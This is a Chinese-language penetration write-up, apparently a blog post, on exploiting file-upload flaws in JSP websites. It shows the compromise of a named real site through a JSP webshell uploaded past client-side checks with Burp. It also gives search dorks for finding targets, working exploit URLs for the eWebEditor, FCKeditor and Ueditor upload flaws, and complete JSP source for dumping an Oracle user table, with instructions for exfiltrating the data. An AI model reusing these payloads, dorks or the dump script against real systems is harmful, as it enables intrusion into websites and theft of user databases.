jsp上传漏洞-拿下kule-分析报告

0×00:百度被黑的思考

0×01:简单拿下kuke

0×02:谷歌一下+相关资料

0×03:对jsp漏洞的分析

0×04:对oracle脱裤科普

 

0×00:百度被黑的思考

先看下漏洞信息:

—————————————————————————————————————————

百度分站任意文件上传
madv.baidu.com
注册
然后上传资质文件
传jsp木马
然后查看资质信息
ps:jsp架构的网站一般对上传过滤不严格

——————————————————————————————————————————

\" height=

说实话哈,这种漏洞还是多次暴雷的出现在大型站点上…..

由于jsp多出现在大型站点+gov+edu上所以请大家把握尺度,不要做错非法行动。

0×01:简单拿下kuke

现在就以kuke这个jsp站点进行实例分析。

首先拜祭比较文艺范的主页:

\" height=

对于这种站点主站一般漏洞比较不明显,一般走向是对2级站点进行漏洞收集,

二就是通过注册用户检测上传过滤情况,三就是曲线救国了。

这里选择注册用户检测上传过滤情况,点击注册后,自动跳转到一个二级域名(看来还是二级域名的漏洞)。

注册了一个用户:\" height=

 

修改资料的地方有头像上传,选择图片后,直接弹出如图所示的提示,明显的javascript本地验证(详见突破上传总结):

\" height=

将jsp木马改为jpg,用burp截断上传(这里就不用修改javascript验证了)。

\" height=

截断的数据中将jpg改为jsp。

\" height=

成功获取webshell。

\" height=

当然是不是就只有这种拿站的方法,当你选择第二条扫描旁站漏洞时你会扫除jsp编辑器。

http://edu2b.XXX.com/ewebeditor/admin/login.jsp

http://www.XXX.com /FCKeditor/editor/fckeditor.html

http://edu2b.XXX.com/FCKeditor/editor/dialog/fck_about.html

 

\" height=

0×02:谷歌一下+相关资料

由于jsp站点就构造下语句搜索下

inurl:upload.jsp   上传

\" height=

很不幸的是,第一个站就和上面一样轻松的被沦陷….(请不要捅菊花)

\" height=

在网上看了相关资料,发现这是普遍存在都情况

腾讯:

\" height=

 

多玩YY:

\" height=

 

激动网:

\" height=

12320:

\" height=

…..

还有很多案例。

为什么会出现这样的漏洞,怎样利用这样的漏洞进行渗透测试?

0×03:对jsp漏洞的分析

为什么会出现这样的漏洞,究其根本是程序员的安全意识弱和管理员的懒惰,

很多jsp站点,当你进去看时全是07 08年的包括很多大站。

相对来说jsp的站点时比其他架构的站点要安全点,因为它很少开源,一般的注入漏洞很少出现。还有就是多出现在天朝的站点上…….

相对来说jsp的站点一旦进入后台,通过上传jsp拿shell一般是很容易的。

怎么利用?

一、           jsp编辑器

早期时候,常有这样的批量拿站。

inurl:web/resource/newspic

在网站后加:

web/webeditor/eWebEditor.jsp

直接上传jsp马。

这个就是jsp版ewebeditor编辑器的漏洞。

Fck编辑器

Fckeditor jsp版漏洞利用方法:

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

用这个地址查找上传图片的路径,存在漏洞的话应该返回一个xml文件

 

然后用

http://www.2ctocom /fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

这个地址上传jsp文件,如果网站对上传文件的后缀作了限制,那么就新建一个名字为new的文件夹,修改上面url中的Type=Image为Type=new,把文件上传到这个文件夹,这个文件夹一般就不会对文件后缀作限制了。

Version 2.4.1 测试通过

Version2.6.6测试未通过

 

百度Ueditor开源编辑器

\" height=

漏洞只存在于1.2.2以前的版本。

问题出在imageUp.jsp
这里使用java正则表达式验证上传文件的文件名,重新设置文件名的时候,没有使用lastIndexOf()方法来找最后一个点,导致可以上传xx.jpg.jsp,xx.png.jsp
等类型文件,强烈建议官方修改这个,虽然官方声明此上传jsp做示例,但很多程序员,站长,基本没有修改就使用了。

二、  上传突破的方法同asp和php一样

无过滤上传

这个不多讲,直接上传jsp

Javascript本地验证

这是jsp类网站存在最常见的漏洞

突破方法详见突破上传总结

0×00截断

在jsp上传中同样可以用0×00截断上传。

…….

 

0×04:对oracle脱裤科普

同样,首先找到配置文件,oracle的配置文件一般存在.xml文件中,当然也有可能存在oracle.jsp中,就如kuke的一样。

\" height=

如何脱裤,很简单,这里用到习科大牛的一个jsp+oracle进行脱裤

  1. <%@ page contentType=”text/html;charset=gb2312″%>
  2. <%@ page import=”java.lang.*”%>
  3. <%@ page import=”java.sql.*”%>
  4. <%@ page import=”java.util.*”%>
  5. <%@ page import=”java.io.*”%>
  6. <html>
  7. <head>
  8. <meta http-equiv=Content-Type content=”text/html; charset=gb2312″>
  9. <title>xxx</title>

10. <style type=”text/css”>

11. body,td{font-size: 12px;}

12. body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}

13. td{white-space:nowrap;}

14. a{color:black;text-decoration:none;}

15. </style>

16. </head>

17. <body>

18. <body>

19. <table border=1>

20. <tr>

21. <td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>10</td>

22. </tr>

23. <%Class.forName(“oracle.jdbc.driver.OracleDriver”).newInstance();

24. String url=”jdbc:oracle:thin:@localhost:1521:orcl”;

25. String user=”oracle_admin”;

26. String password=”oracle_password”;

27. Connection conn= DriverManager.getConnection(url,user,password);

28. Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

29. String sql=”SELECT 1,2,3,4,5,6,7,8,9,10 from user_info”;

30. ResultSet rs=stmt.executeQuery(sql);

31. while(rs.next()) {%>

32. <tr>

33. <td><%=rs.getString(1)%></td>

34. <td><%=rs.getString(2)%></td>

35. <td><%=rs.getString(3)%></td>

36. <td><%=rs.getString(4)%></td>

37. <td><%=rs.getString(5)%></td>

38. <td><%=rs.getString(6)%></td>

39. <td><%=rs.getString(7)%></td>

40. <td><%=rs.getString(8)%></td>

41. <td><%=rs.getString(9)%></td>

42. <td><%=rs.getString(10)%></td>

43. </tr>

44. <%}%>

45. <%rs.close();

46. stmt.close();

47. conn.close();

48. %>

49. </body>

50. </html>

使用说明:

line24~line26分别设置Oracle数据库的登陆url,登陆账户和密码

登陆信息通常位于网站容器的.xml配置文件中。

line29设置要导出的表,导出之前请在webshell或者数据库中执行select count(*) from 表名 来看一下记录数。

通常过万的记录数可能导致浏览器耗尽资源等造成崩溃等现象。

select后面跟几个字段,line21设置几个td标签,后面就跟几个re.getString。

 

若数据过万,可在line29的select后面的加一个 where rownum < 11来限定一下结果数。若返回结果,则去掉保存,不返回结果请检查SQL语句语法或连接信息

数据过万后,保存完设置信息,将此程序url扔进迅雷,FlashGET等程序即可下载,下载中会一直显示99%直至下载结束,因为下载结束前文件不知道有多大

THE END
分享
二维码
< <上一篇
下一篇>>